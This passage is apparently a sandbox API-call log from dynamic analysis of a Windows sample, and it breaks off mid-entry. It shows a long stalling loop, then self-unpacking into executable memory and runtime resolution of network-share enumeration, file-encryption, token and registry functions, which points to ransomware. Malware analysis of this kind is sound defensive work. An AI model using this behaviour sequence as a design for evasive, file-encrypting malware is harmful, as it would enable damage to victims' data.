[0053.251] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.251] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.251] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.251] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.251] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.251] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.251] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.251] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.251] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.251] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.251] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.251] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.251] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.252] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.252] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.252] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.252] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.252] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.252] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.252] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.252] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.252] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.252] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.252] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.252] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.252] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.252] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.252] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.253] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.253] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.253] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.253] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.253] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.253] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.253] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.253] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.253] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.253] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.253] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.253] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.253] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.253] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.253] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.253] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.254] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.254] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.254] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.254] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.254] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.254] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.254] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.254] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.254] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.254] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.254] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.254] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.254] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.254] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.254] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.255] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.255] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.255] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.255] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.255] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.255] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.255] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.255] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.255] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.255] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.286] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.286] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.286] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.286] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.286] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.286] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.286] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.287] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.287] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.287] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.287] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.287] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.287] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.287] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.287] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.287] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.287] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.287] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.288] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.288] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.288] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.288] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.288] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.288] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.288] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.288] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.288] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.288] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.288] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.288] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.288] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.288] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.288] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.289] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.289] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.289] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.289] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.289] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.289] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.289] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.289] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.289] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.289] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.289] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.289] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.289] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.289] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.289] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.289] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.290] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.290] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.290] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.290] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.290] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.290] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.290] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.290] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.290] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.290] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.290] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.290] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.290] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.291] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.291] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.291] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.291] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.291] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.291] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.291] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.291] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.291] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.291] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.291] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.291] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.291] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.291] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.291] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.291] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.292] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.292] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.292] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.292] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.292] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.292] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.292] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.292] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.292] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.292] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.292] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.292] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.292] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.292] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.292] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.292] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.292] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0053.293] GetCaretPos (in: lpPoint=0x18f27c | out: lpPoint=0x18f27c) returned 1 [0053.293] GetAtomNameA (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0061.468] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76d30000 [0061.478] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualProtect") returned 0x76d4435f [0061.485] VirtualProtect (in: lpAddress=0x2322e0, dwSize=0x65d8, flNewProtect=0x40, lpflOldProtect=0x18edb0 | out: lpflOldProtect=0x18edb0*=0x4) returned 1 [0061.717] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76d30000 [0061.717] GetProcAddress (hModule=0x76d30000, lpProcName="GlobalAlloc") returned 0x76d4588e [0061.717] GetProcAddress (hModule=0x76d30000, lpProcName="GetLastError") returned 0x76d411c0 [0061.718] GetProcAddress (hModule=0x76d30000, lpProcName="Sleep") returned 0x76d410ff [0061.718] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualAlloc") returned 0x76d41856 [0061.718] GetProcAddress (hModule=0x76d30000, lpProcName="CreateToolhelp32Snapshot") returned 0x76d6735f [0061.718] GetProcAddress (hModule=0x76d30000, lpProcName="Module32First") returned 0x76dc5cd9 [0061.718] GetProcAddress (hModule=0x76d30000, lpProcName="CloseHandle") returned 0x76d41410 [0061.718] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x60 [0061.725] Module32First (hSnapshot=0x60, lpme=0x18ef40) returned 1 [0061.726] VirtualAlloc (lpAddress=0x0, dwSize=0x9050, flAllocationType=0x1000, flProtect=0x40) returned 0x390000 [0061.729] GetProcAddress (hModule=0x76d30000, lpProcName="LoadLibraryA") returned 0x76d449d7 [0061.729] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76d30000 [0061.729] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualAlloc") returned 0x76d41856 [0061.730] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualProtect") returned 0x76d4435f [0061.730] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualFree") returned 0x76d4186e [0061.730] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersionExA") returned 0x76d43519 [0061.730] GetProcAddress (hModule=0x76d30000, lpProcName="TerminateProcess") returned 0x76d5d802 [0061.730] GetProcAddress (hModule=0x76d30000, lpProcName="ExitProcess") returned 0x76d47a10 [0061.730] GetProcAddress (hModule=0x76d30000, lpProcName="SetErrorMode") returned 0x76d41b00 [0061.730] SetErrorMode (uMode=0x400) returned 0x0 [0061.730] SetErrorMode (uMode=0x0) returned 0x400 [0061.730] GetVersionExA (in: lpVersionInformation=0x18de70*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}Çw") | out: lpVersionInformation=0x18de70*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0061.731] VirtualAlloc (lpAddress=0x0, dwSize=0x8200, flAllocationType=0x1000, flProtect=0x4) returned 0x3a0000 [0061.732] VirtualProtect (in: lpAddress=0x400000, dwSize=0xd000, flNewProtect=0x40, lpflOldProtect=0x18eef8 | out: lpflOldProtect=0x18eef8*=0x2) returned 1 [0061.737] VirtualFree (lpAddress=0x3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.737] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x75660000 [0061.752] GetProcAddress (hModule=0x75660000, lpProcName="WNetEnumResourceW") returned 0x75663058 [0061.752] GetProcAddress (hModule=0x75660000, lpProcName="WNetOpenEnumW") returned 0x75662f06 [0061.752] GetProcAddress (hModule=0x75660000, lpProcName="WNetCloseEnum") returned 0x75662dd6 [0061.752] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76d30000 [0061.752] GetProcAddress (hModule=0x76d30000, lpProcName="DeviceIoControl") returned 0x76d4322f [0061.753] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForMultipleObjects") returned 0x76d44220 [0061.753] GetProcAddress (hModule=0x76d30000, lpProcName="FindNextFileW") returned 0x76d454ee [0061.753] GetProcAddress (hModule=0x76d30000, lpProcName="GetVolumeInformationW") returned 0x76d5c860 [0061.753] GetProcAddress (hModule=0x76d30000, lpProcName="CreateThread") returned 0x76d434d5 [0061.753] GetProcAddress (hModule=0x76d30000, lpProcName="Sleep") returned 0x76d410ff [0061.753] GetProcAddress (hModule=0x76d30000, lpProcName="WriteFile") returned 0x76d41282 [0061.753] GetProcAddress (hModule=0x76d30000, lpProcName="SetEndOfFile") returned 0x76d5ce2e [0061.753] GetProcAddress (hModule=0x76d30000, lpProcName="SetFilePointerEx") returned 0x76d5c807 [0061.754] GetProcAddress (hModule=0x76d30000, lpProcName="ReadFile") returned 0x76d43ed3 [0061.754] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileSizeEx") returned 0x76d459e2 [0061.754] GetProcAddress (hModule=0x76d30000, lpProcName="MoveFileW") returned 0x76d59af0 [0061.754] GetProcAddress (hModule=0x76d30000, lpProcName="SetFileAttributesW") returned 0x76d5d4f7 [0061.754] GetProcAddress (hModule=0x76d30000, lpProcName="HeapAlloc") returned 0x77c6e026 [0061.754] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcess") returned 0x76d41809 [0061.754] GetProcAddress (hModule=0x76d30000, lpProcName="HeapFree") returned 0x76d414c9 [0061.754] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcessHeap") returned 0x76d414e9 [0061.754] GetProcAddress (hModule=0x76d30000, lpProcName="FindClose") returned 0x76d44442 [0061.755] GetProcAddress (hModule=0x76d30000, lpProcName="OpenProcess") returned 0x76d41986 [0061.755] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcAddress") returned 0x76d41222 [0061.755] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileType") returned 0x76d43531 [0061.755] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleHandleA") returned 0x76d41245 [0061.755] GetProcAddress (hModule=0x76d30000, lpProcName="DuplicateHandle") returned 0x76d41886 [0061.755] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcessId") returned 0x76d411f8 [0061.755] GetProcAddress (hModule=0x76d30000, lpProcName="ExitProcess") returned 0x76d47a10 [0061.755] GetProcAddress (hModule=0x76d30000, lpProcName="GetCommandLineW") returned 0x76d45223 [0061.755] GetProcAddress (hModule=0x76d30000, lpProcName="CreatePipe") returned 0x76dc415b [0061.755] GetProcAddress (hModule=0x76d30000, lpProcName="GetLastError") returned 0x76d411c0 [0061.756] GetProcAddress (hModule=0x76d30000, lpProcName="CreateProcessW") returned 0x76d4103d [0061.756] GetProcAddress (hModule=0x76d30000, lpProcName="GetSystemWindowsDirectoryW") returned 0x76d45213 [0061.756] GetProcAddress (hModule=0x76d30000, lpProcName="SetHandleInformation") returned 0x76d5195c [0061.756] GetProcAddress (hModule=0x76d30000, lpProcName="GetLocaleInfoW") returned 0x76d43c42 [0061.756] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleFileNameW") returned 0x76d44950 [0061.756] GetProcAddress (hModule=0x76d30000, lpProcName="Process32FirstW") returned 0x76d68baf [0061.756] GetProcAddress (hModule=0x76d30000, lpProcName="Process32NextW") returned 0x76d6896c [0061.756] GetProcAddress (hModule=0x76d30000, lpProcName="CreateMutexA") returned 0x76d44c6b [0061.757] GetProcAddress (hModule=0x76d30000, lpProcName="CreateToolhelp32Snapshot") returned 0x76d6735f [0061.757] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersion") returned 0x76d44467 [0061.757] GetProcAddress (hModule=0x76d30000, lpProcName="CreateDirectoryW") returned 0x76d44259 [0061.757] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileAttributesW") returned 0x76d41b18 [0061.757] GetProcAddress (hModule=0x76d30000, lpProcName="CreateFileW") returned 0x76d43f5c [0061.762] GetProcAddress (hModule=0x76d30000, lpProcName="GetLogicalDrives") returned 0x76d45371 [0061.763] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForSingleObject") returned 0x76d41136 [0061.763] GetProcAddress (hModule=0x76d30000, lpProcName="SetErrorMode") returned 0x76d41b00 [0061.763] GetProcAddress (hModule=0x76d30000, lpProcName="GetDriveTypeW") returned 0x76d4418b [0061.763] GetProcAddress (hModule=0x76d30000, lpProcName="FindFirstFileW") returned 0x76d44435 [0061.763] GetProcAddress (hModule=0x76d30000, lpProcName="CloseHandle") returned 0x76d41410 [0061.763] GetProcAddress (hModule=0x76d30000, lpProcName="DeleteCriticalSection") returned 0x77c745f5 [0061.763] GetProcAddress (hModule=0x76d30000, lpProcName="EnterCriticalSection") returned 0x77c622b0 [0061.763] GetProcAddress (hModule=0x76d30000, lpProcName="TerminateProcess") returned 0x76d5d802 [0061.764] GetProcAddress (hModule=0x76d30000, lpProcName="GetExitCodeProcess") returned 0x76d5174d [0061.764] GetProcAddress (hModule=0x76d30000, lpProcName="LeaveCriticalSection") returned 0x77c62270 [0061.764] GetProcAddress (hModule=0x76d30000, lpProcName="InitializeCriticalSection") returned 0x77c72c42 [0061.764] GetProcAddress (hModule=0x76d30000, lpProcName="GetEnvironmentVariableW") returned 0x76d41b48 [0061.764] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x77130000 [0061.764] GetProcAddress (hModule=0x77130000, lpProcName="wsprintfW") returned 0x7716e061 [0061.764] GetProcAddress (hModule=0x77130000, lpProcName="GetShellWindow") returned 0x7716e8a8 [0061.764] GetProcAddress (hModule=0x77130000, lpProcName="GetWindowThreadProcessId") returned 0x771491b4 [0061.765] GetProcAddress (hModule=0x77130000, lpProcName="wsprintfA") returned 0x7715ae5f [0061.765] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x77710000 [0061.765] GetProcAddress (hModule=0x77710000, lpProcName="CryptDestroyKey") returned 0x7771c51a [0061.765] GetProcAddress (hModule=0x77710000, lpProcName="CryptEncrypt") returned 0x7773779b [0061.765] GetProcAddress (hModule=0x77710000, lpProcName="CryptImportKey") returned 0x7771c532 [0061.765] GetProcAddress (hModule=0x77710000, lpProcName="CryptGenRandom") returned 0x7771dfc8 [0061.765] GetProcAddress (hModule=0x77710000, lpProcName="CryptAcquireContextW") returned 0x7771df14 [0061.766] GetProcAddress (hModule=0x77710000, lpProcName="CryptDecrypt") returned 0x77753178 [0061.766] GetProcAddress (hModule=0x77710000, lpProcName="OpenProcessToken") returned 0x77724304 [0061.766] GetProcAddress (hModule=0x77710000, lpProcName="GetTokenInformation") returned 0x7772431c [0061.766] GetProcAddress (hModule=0x77710000, lpProcName="SetTokenInformation") returned 0x77719a92 [0061.766] GetProcAddress (hModule=0x77710000, lpProcName="RegCreateKeyExW") returned 0x777240fe [0061.766] GetProcAddress (hModule=0x77710000, lpProcName="RegOpenKeyExW") returned 0x7772468d [0061.766] GetProcAddress (hModule=0x77710000, lpProcName="RegCloseKey") returned 0x7772469d [0061.767] GetProcAddress (hModule=0x77710000, lpProcName="RegSetValueExW") returned 0x777214d6 [0061.767] GetProcAddress (hModule=0x77710000, lpProcName="DuplicateTokenEx") returned 0x7771ca24 [0061.767] GetProcAddress (hModule=0x77710000, 